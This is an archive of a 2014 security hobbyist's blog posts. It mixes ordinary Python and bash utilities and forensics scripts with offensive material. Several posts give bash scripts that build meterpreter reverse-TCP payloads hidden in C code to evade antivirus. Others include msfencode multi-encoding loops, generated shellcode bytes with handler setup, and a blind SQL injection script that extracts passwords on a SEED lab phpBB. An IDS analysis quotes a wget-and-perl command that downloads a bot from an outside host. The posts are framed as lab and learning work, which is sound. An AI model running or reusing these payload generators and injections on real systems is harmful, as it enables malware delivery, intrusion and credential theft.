Posts

Showing posts from 2014

Extract IP Address from File Reading Line by Line (Python)

I needed to extract an IP Address from each line inside of a file and kicked out the following script:

#!/usr/bin/python
# Extract IP Addresses

import re
file = open("temp.log")

for line in file:
        ip = re.findall( r'[0-9]+(?:\.[0-9]+){3}', line )
        print ip

Using bash script to copy folder paths and file names with spaces

Recently I had to write a script that would copy a list of folders and files with spaces in the names to an alternate location.  I found that you do not need to escape the special characters in the list if you place quotes around the variable called from the list in a loop.

#!/bin/bash

while read -r line  # Needs the -r variable
do

        cp "$line" /tmp/files/.  # Place quotes around the variable called in the loop

done < '/tmp/list.txt'

I wanted to document this because of the 30 minutes I lost in my life trying to figure out the nuances around this.

bash script built on technique to bypass AV v2

Image
This script has been improved and is located at this blog post.

I took the previous script that I created and spent some time adding additional padding and moving the meterpreter portion of the c code to a variable inside of the main function.

With these few modifications I was able to achieve the following results as I uploaded them to virustotal.com.

The sample at the top of the screen is using version 1 of the below script.  With the below script the detection rate decreases to 2-4 anti-viruses detecting them out of an average of 55.

The below script is what I used to generate the exe files...

#!/bin/bash
#

# Log file where how the payload was created and the filename of the payload
logFile='/root/bypassAV/logFile.txt'

# Bash script to test payloads created with msfvenom and using a c program to hide against AVG 2015
# Platform: Windows XP SP3
# AV Installed: AVG 2015 Free

# Using the following msfvenom options
# Payload: windows/meterpreter/reverse_tcp
# LHOST: 172.27.66.1
# LPORT: 8…

bash script built on technique to bypass AV

I found the following web page in my research about metasploit encoding and bypassing the AV.

https://www.christophertruncer.com/bypass-antivirus-with-meterpreter-as-the-payload-hyperion-fun/

From the article I created the following bash script to automate the creation of the .exe file that can be copied to the Windows XP SP3 through a file share to test AVG 2015.  Fortunately or unfortunately this technique does bypass the AVG 2015 Free, so far 3/3 100% success rate.  Virustotal came back with 15 AVs detecting the files as malware.

This script has been improved and is located at this blog post.

 #!/bin/bash
#

# Log file where how the payload was created and the filename of the payload
logFile='/root/bypassAV/logFile.txt'

# Bash script to test payloads created with msfvenom and using a c program to hide against AVG 2015
# Platform: Windows XP SP3
# AV Installed: AVG 2015 Free

# Using the following msfvenom options
# Payload: windows/meterpreter/reverse_tcp
# LHOST: 172.24.118.1
# LPORT…

msfencode bash script - Test encoding with up to 5 iterations

I was reading in the book "Metasploit - A Penetration Tester's Guide" about encoding the payload and also multi-encoding the payload so I wanted to create a bash script to go through all the possibilities of the encoders with up to 5 iterations.  Then in the script copy it over to a file share on a Windows XP SP3 computer with AVG installed.  The AVG would then detect if it was a virus.

Curious how this would work and kicked out the following script. 

#!/bin/bash
#
# File that contains the encoders that are available to msfencode
listEncoders='/root/multiEncoder/msfencode.listEncoders'

# Folder where the SYS Internals Suite EXE files are located
exeFiles='/root/multiEncoder/sysInternals/exe/'

# Log file where how the payload was created and the filename of the payload
logFile='/root/multiEncoder/logFile.txt'

# Number of iterations to run the encoding through
iterationCount=5

# Bash script to create various payloads that are multi-encoded and test them again…

Notes about Windows Privilege Escalation

I need to research and understand windows privilege escalation better so this is the beginning of the journey.

Links to a couple of web pages that I have found to be great:
http://pentestmonkey.net/tools/windows-privesc-check
http://www.fuzzysecurity.com/tutorials/16.html
http://www.fuzzysecurity.com/tutorials/18.html
http://www.slideshare.net/harmj0y/power-up-34515686

accesschk.exe from the SYS Internals Suite

Evaluating closer the Windows Privilege Escalation python script I was curious how the latest windows patches were discovered and scrubbed against metasploit.  Found that the following link takes you to an Excel spreadsheet containing all of the windows security bulletins:

http://www.microsoft.com/en-us/download/details.aspx?id=36982

From fuzzysecurity.com I extracted some of the privilege escalation KB numbers...
KiTrap0D - KB979682
MS10-021 - KB979683
MS10-059 - KB982799
MS11-011 - KB2393802
MS11-080 - KB2592799

Pulled from metasploit the local exploits that can be run:
-----…

Notes created for Immunity Debugger

Notes about generating a payload for a python script, setting up a multi-handler, and using a multi-handler to then exploit and gain a meterpreter shell.

Generate Meterpreter Reverse TCP with the multi-handler listening
-----------------------------------------------------------------
use payload/windows/meterpreter/reverse_ord_tcp
set lhost 172.31.99.1
set lport 4444

generate -b '\x00\x0a\x0d\x20' -t python
- This generates a payload without the hex characters following the b in the language of python.

buf =  ""
buf += "\xda\xc1\xd9\x74\x24\xf4\xb8\xec\x27\x13\x24\x5b\x33"
buf += "\xc9\xb1\x18\x31\x43\x18\x83\xeb\xfc\x03\x43\xf8\xc5"
buf += "\xe6\xd8\x31\xd1\x6d\xaa\x72\xd5\xe6\xec\x78\x9e\xa9"
buf += "\xf0\x0b\xb2\xc2\x7b\x2b\x1e\x79\x35\x28\x66\xbf\xf8"
buf += "\x1d\x39\x8d\x89\x8e\x4e\x9b\x79\xdb\x14\x60\xf1\x97"
buf += "\x93\xe0\x8e\x6b\x91\x0c\x90\x9a\x22\x6d\xca\x5d\xdd"
buf += "\xe5\x9b\x61\x1c\…

Experiences of Reporting Vulnerabilities

I thought I would take a moment and memorialize a few experiences with reporting vulnerabilities to companies.  With the below information I am going to keep the companies anonymous.  The below vulnerabilities discussed have been mitigated by the companies in which they were reported too.  I am going too share the good, bad, and ugly ways in which companies handled these reports.

The first experience was contacting a company that publishes content and allows this content to be accessed by their respective customers.  The vulnerability existed in the security between their customers and the content that could be accessed.  With manipulating the URL with an authenticated user you could view other customers content and then it was discovered that without being authenticated you could view this information.  Upon contacting the company directly and working with them, they were appreciative that I reached out to them and I even received a courtesy call from the president of the company exp…

Volatility Bash Script v0.4

Here is another version of the volatility bash script.

#!/bin/bash
# Script to collect information by utilizing volatility

# v0.4 - Added a loop to iterate through the plugins
#      - Added svcscan, sockets, sockscan, driverscan, cachedump, timeliner, evtlogs
#      - In hivelist the system file is upper or lower case depending on the profile
#      - Added dlllist for each process
#      - Added getsids for each process
#      - Added handles for each process
#      - Added ldrmodules for each process
#      - Extracting the contents of the registry at Software\Microsoft\Windows\CurrentVersion\Run
# v0.3 - Updated to include mftparser
#      - Added a temp directory
# v0.2 - Updated the DKOM section to include the 3 columns and not just the 1st.

#To come...
#Analyze specific registry keys that aide in an investigation

####  Configurable Settings #############
homeDir='/home/malware-analysis'
memImage="$homeDir/1bc928ac.vmem"
locVolPy='/usr/share/vol2-4/volatility-2.4/vol.py'
v…

Volatility - Follow-up Analysis Script - Customize the script

You need to customize the following script based on the information gathered from the analysis.

#!/bin/bash
# Script to collect information by utilizing volatility

#### Configurable Options #######

homeDir='/home/volatility/image'
memImage="$homeDir/image.vmem"
locVolPy='/usr/share/volatility/vol.py'
volProfile=''

PID='1384'
dumpFileFilename='malware'  # Dump the file malware.exe

######################################

outputDir="$homeDir/output"
dumpDir="$homeDir/dumpdir"
tempDir="$homeDir/temp"

if [ ! -d $outputDir ]; then
    mkdir $outputDir
    mkdir $dumpDir
    mkdir $tempDir
fi

# Identify the profile found from output/imageinfo
cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print "Identified Profile: " $4}' | sed 's/,//'
volProfile=`cat $outputDir/imageinfo | grep "Suggested Profile(s)" | awk '{print $4}' | sed 's/,//'`

# List the dll's as…

Volatility Bash Script - Automate Initial Commands

Wrote a quick volatility script to automate most of the initial commands that I am running.  Enjoy...

#!/bin/bash
# Script to collect information by utilizing volatility

# v0.3 - Updated to include mftparser
#        - Added a temp directory
# v0.2 - Updated the DKOM section to include the 3 columns and not just the 1st.

#To come...
#Analyze specific registry keys that aide in an investigation

####  Configurable Settings #############
homeDir='/home/volatility/image'
memImage="$homeDir/image.vmem"
locVolPy='/usr/share/volatility/vol.py'
volProfile=''
#########################################

outputDir="$homeDir/output"
dumpDir="$homeDir/dumpdir"
tempDir="$homeDir/temp"

if [ ! -d $outputDir ]; then
    mkdir $outputDir
    mkdir $dumpDir
    mkdir $tempDir
fi

# Find the profile for the image that is being analyzed and store it in volProfile
python $locVolPy -f $memImage imageinfo > $outputDir/imageinfo
cat $outputDir/imageinfo | grep "S…

nmap bash script

Designed this nmap bash script to be able to run multiple different scans to pull information that is relevant and save it to unique files.  I also noticed that I was running similar nmap scans and thought I would combine them into a script that automates the process.

v0.2 - Fixed the smb-enum-shares nse by adding a smbdomain argument
        - Fixed the nmapSwitches variable in the nmap command inside of the for loop

#!/bin/bash

location='tallBuilding'
subnet='127.0.0.1'
ipList='results/ipList.txt'

# Creates the output and the results directory if they need to be created
if [ ! -d "output" ]; then
    mkdir output
    mkdir results
fi

# Run a host discovery scan to see which devices are available in the subnet
typeOfScan='nmap-sP'
nmap -sP $subnet -oA output/$location-$typeOfScan

# From the host discovery put together a list of IP Addresses that can be used in future scans
if [ -f "output/$location-$typeOfScan.nmap" ]; then
    cat output/$locatio…

List of Various CTF Sites

This list was provided by a friend of a variety of Capture the Flag events.

http://ctf365.com/ http://www.enigmagroup.org/ http://captf.com/practice-ctf/ https://www.hacking-lab.com/index.html https://microcorruption.com/login https://pentesterlab.com/ http://www.thisislegal.com/ http://captf.com/ http://io.smashthestack.org/ http://www.wechall.net/ http://repo.shell-storm.org/CTF/ http://exploit-exercises.com/ http://overthewire.org/wargames/ http://www.smashthestack.org/ http://www.crackmes.de/ http://amanhardikar.com/mindmaps/Practice.html http://www.gh0st.net http://www.root-me.org/?lang=en

Extract VBA code from Office Documents

http://digital-forensics.sans.org/blog/2009/11/23/extracting-vb-macros-from-malicious-documents

Awards Assembly and Closing Comments from USCC Cyber Camp at SJSU

The below items are what I remember from those who spoke to us at the awards assembly at the USCC Cyber Camp at SJSU in 2014.

Jennifer Lesser is the Director of Security Operations at Facebook and the below comments are what I remember from her talking to us:

To change the game in security you need to have empathy.

She quoted Bill Gates in the following “optimism can fuel innovation and lead to new tools to eliminate suffering,” Gates said. “But if you never really see the people who are suffering, your optimism can’t help them. You will never change their world. … If our optimism doesn’t address the problems that affect so many of our fellow human beings, then our optimism needs more empathy.”

Find the culture [that you want to work in] and then Find the company that will meet your culture.

Their is a lack of encouragement in the information security field.

Often times people say, I won't be good at it.  Did you know that I have not touched a line of code since some of you wer…

Python HTTP POST Request / Response

#!/usr/bin/python

import urllib2, urllib

url = 'http://127.0.0.1/temp.php'
data = {'parameter1':'value1', 'parameter2':'value2'}

data = urllib.urlencode(data)
request = urllib2.Request(url, data)
response = urllib2.urlopen(request)
pageReturned = response.read()

print(pageReturned)

Python HTTP GET Request / Response

#!/usr/bin/python

import urllib2

request = urllib2.Request('http://127.0.0.1/temp')

response = urllib2.urlopen(request)
pageReturned = response.read()

print (pageReturned)

Python Parser for Process Monitor CSV Output

Created a quick parser for Process Monitor csv output files.  I designed it to organize the output based on PID and Operation.  Then I chose to remove the timestamp and deduplicate the remaining information.

This was built to be a tool that can be used in conjunction with Process Monitor to help identify interesting activity.

#!/usr/bin/python
# Script is designed to parse a Process Monitor script and output organized by process and operation
# In my limited testing it took a 29M file down to 5M (At least a little easier to digest)
# It will deduplicate the rows in the output without the timestamp
# This tool is not to replace the output of Process Monitor it is only used as a tool to assist in finding valuable information

import sys
import os
import csv

csvFile='processMonitor.csv'

file = open(csvFile,'r')
reader = csv.reader(file)
# Gather the PIDs and make a uniq list of them
uniqPID = set() # This will store the unique PIDs found in the csv file
uniqOperation = set() # This wi…

Python Parser for CaptureBAT logfile v0.2

This is an updated CaptureBAT parser.  If a blank line or an unreadable line is in the logfile it will give you a warning and continue.

Take the logfile output from CaptureBAT and throw it against this script to organize it.

"CaptureBat.exe -n -c -l logFile_output.txt"

#!/usr/bin/python

# Version 0.2: Added if a line in the log file can not be read then it lists a warning but continues
import sys

def parseFile(file, filter, specific):
        duplicate3rdItem=""
        duplicate4thItem=""

        for line in file:
                try:
                        items=line.split(',')
                        if items[1] == filter and items[2] == specific:
                                # Find the duplicates and remove them
                                if items[3] != duplicate3rdItem and items[4] != duplicate4thItem:
                                        print items[0] + " " + items[3] + " " + items[4].rstrip()
                             …

Decode PHP encoded by cha88.cn

Below is a quick bash script that I wrote to decode some PHP web shells encoded by cha88.cn.  The decoding iterates through base64 decoding and gzinflating 30 times to then produce the original php code.

#!/bin/bash
workingFile=$1
tempFile="${workingFile}.temp" tempFile2="${workingFile}.temp2"
cat $workingFile | grep -v -e "/\*" -e "online encode by cha88.cn!" -e "\*/" | sed 's/eval(/$uncompressed = /' | sed 's/?>/echo $uncompressed;\n?>/' | sed 's/)))\;/))\;/' > $tempFile
for i in {1..30} do php $tempFile | sed 's/?><?php/<?php/' | sed 's/eval(/$uncompressed = /' | sed 's/?><?/echo $uncompressed;\n?>/' | sed 's/)))\;/))\;/' > $tempFile2 mv -f $tempFile2 $tempFile rm -f $tempFile2 done

Working with Google Maps Javascript API

Here is a not quite final attempt at using Google Maps Javascript API.  Intent is to make the plotLines funtion that is called be dynamic based on the latitude and longitude being called from a database.

<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <title>Google Maps API</title>
    <style>
      html, body, #map-canvas {
        height: 100%;
width: 92%;
        margin: 0px;
        padding: 0px
      }
    </style>
    <script src="https://maps.googleapis.com/maps/api/js?v=3.exp"></script>
    <script>
// This example adds an animated symbol to a polyline.

var line;

function initialize() {
  var mapOptions = {
    center: new google.maps.LatLng(50.7608333,-111.8902778),  
    zoom: 2,
    mapTypeId: google.maps.MapTypeId.TERRAIN
  };

  var map = new google.maps.Map(document.getElementById('map-canvas'…

Compare 2 Lists of IP Addresses

Created this python script to look for an IP Address in one list and find it in a reputation IP list.

#!/usr/bin/python

import os


with open("tempIP.list", "r") as f1:
        lines1 = f1.readlines()

with open("reputation.list", "r") as f2:
        lines2 = f2.readlines()

for line in lines1:
        for item in lines2:
                if line.strip('\n') in item.strip('\n'):
                        print item

Which URL matches a Particular Regular Expression

I needed a quick tool to check and see which regular expression a particular URL matched.  Below is what I came up with which is simple and elegant:


#!/usr/bin/python

# This script is to detect based on a given URL which Regular Expression that it matches

import re
#Get the URL
print
url = raw_input('URL: ')
#print url

ListRegEx = [["http:\/\/[^\x2f]+?\/([a-z0-9]{2}\/)?\??[0-9a-f]{5}[\x3b\d\x2c]*", "Malicious URL"],
                ["http:\/\/[^\x0a]+\/6?2p\/[a-z]{12}", "Malicious URL"]]
for itemRegEx in ListRegEx:
        regexp = re.compile(itemRegEx[0])
        if regexp.search(url) is not None:
                print "Matched " + itemRegEx[1]
print

Python: Cipher and Base64 Encoding / Decoding

Below is part of a challenge that I came up with to first create like a caesar cipher or rot13 similar cipher and then use base64 to encode a URL.  Below is the python code to accomplish this:

#!/usr/bin/python

import string
import base64

url = "http://i1.ytimg.com/vi/jp4nzjap6I8/movieposter.jpg?v=4f16e5dc"
my_base64chars  = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"
std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

s = url.translate(string.maketrans(my_base64chars, std_base64chars))
data = base64.b64encode(s)
print data

Below is how to decode the same information:
#!/usr/bin/python
import string import base64
code = "cjMzejovL3NCLjgzc3dxLm15dy81cy90ekV4OXRrekdTSS93eTVzb3p5MjNvMS50enE/NT1FcEJHb0ZubQ==" output = base64.b64decode(code) print output
my_base64chars  = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/" std_base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmno…

Malware Analysis with twistd

On Kali Linux is an application called "twistd".  I utilized this program to spin up a quick FTP server and then an SMTP server to analyze some malware.  

To spin up the ftp server the following command was used:
twistd -n ftp -p 21 This allowed the malware to connect and allow me to pull the FTP username and FTP password was was being utilized.  I was also able to gather the SMTP information that I needed.  The DNS and other information was gathered with dnsspoof and other utilities.

To spin up the smtp server I needed to to allow for some sort of AUTH.   I utilized the following command:

twistd -n mail --smtp=25 --maildirdbmdomain='test.com=test' --user='test@test.com=password' --auth=anonymous -E --hostname=test.com This tool was quick and efficient to gather information that I needed quickly.From the malware I was able to identify the following indicators of compromise:

Email with Subject: Fw: CREDIT PAYMENT ALERT!($14,700.00) 
Link in email downloads: bank pay…

US Cyber Challenge Scoreboard Analysis

Prior to the competition closing on April 31, 2014 for the latest US Cyber Challenge located at http://uscc.cyberquests.org I thought I would do a quick analysis on the users of those who appear on the scoreboards.

Looking at the number of times the same user appears:

AppearancesUser7jt6baldwintm6thepcnerd5devnull5jgbrigden5jimkoz235jmoore5linuz5ltomczak5mkaplan5sonken5webdevgirl5wiredaemon Only displaying the top 13 with 5 or more appearances on the scoreboards.

Another way to look at the numbers is below.  The number of appearances of the users that have appeared 7 times, 6 times, etc.

Number of UsersTotal Appearances1 7 times 2 6 times 10 5 times 15 4 times 25 3 times 100 2 times 909 1 time
I am a fan of the US Cyber Challenges and congratulate those who support it, fund it, and promote it.  Keep the challenges coming.

Examining IDS Logs for PHP-CGI Query String Vulnerabilities

Image
I noticed a few high severity events related to PHP-CGI Query String vulnerabilities going through the IDS and bouncing off of the webserver.

The first item was identifying it in the IDS as one of the below events:
ET Web_Specific_Apps PHP-CGI query string parameter vulnerability - CVE2012-1823

I am not necessarily going to focus on the exploit.  I want to focus on the information in the below screenshot:

As you can see part of the vulnerability is to execute the following commands through php:
cd /tmp - Change to the /tmp directory
wget http://www.macam-informasi.com/bibah/bot.txt - Download using wget the bot.txt
perl bot.txt  - Use perl and execute the text file bot.txt that was previously downloaded
rm -rf bot.txt - Remove the bot.txt if in the process of execution perl bot.txt terminates
rm -rf bot.txt* - Remove anything that starts with bot.txt possibly due to temporary files that are created
rm -rf *.txt - Remove any temporary *.txt files that were created
rm -rf * - Remove any files…

Python Raw Socket to Create ICMP Packet

Had a challenge to recreate a raw packet from bytes given in a text file.  Used python to create the raw socket.  The commented code is taking it from text to hex.

#!/usr/bin/env python

import socket
import struct

rawSocket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x800))
rawSocket.bind(("vmnet1", socket.htons(0x0800)))


#hexBytes = "000c29213dd1005056c00001080045000054b40a00004001905c0a0a112d0a0a11020000364e16070001c3190152013b030008090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637"

#counter = 1
#for letter in hexBytes:
#if counter == 1:
#firstLetter = letter
#counter = 2
#elif counter == 2:
#print "\\x" + firstLetter + letter
#counter = 1

hexPacket = "\x00\x0c\x29\x21\x3d\xd1\x00\x50\x56\xc0\x00\x01\x08\x00\x45\x00\x00\x54\xb4\x0a\x00\x00\x40\x01\x90\x5c\x0a\x0a\x11\x2d\x0a\x0a\x11\x02\x00\x00\x36\x4e\x16\x07\x00\x01\xc3\x19\x01\x52\x01\x3b\x03\x00\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x…

SQL Injection Script written for SEED Labs

SEED Labs are located here: http://www.cis.syr.edu/~wedu/seed/
These are great labs to learn more about cyber security and penetration testing.

The below script was developed to demonstrate SQL Injection on the phpBB lab that they provide.  Though the lab itself does not require this it was a great script to write.  With the script I extract the passwords for the 5 users that are found on the system.

This script could be made more efficient with instead brute forcing each letter to making them conditional statements.

#!/usr/bin/env python

import os
import re
from socket import *
from time import ctime

BUFSIZE=1024

# Change the hostInput based on your IP Address of the SEED Installation of Ubuntu 9.
hostInput = '172.16.108.140'

userNames = ['admin', 'alice', 'bob', 'carol', 'ted'] 
#userNames = ['ted'] 

userPassword = ''
contentLength = 63

for userName in userNames:
for number in range(1,30):
contentLengthTotal = contentLength + number

fo…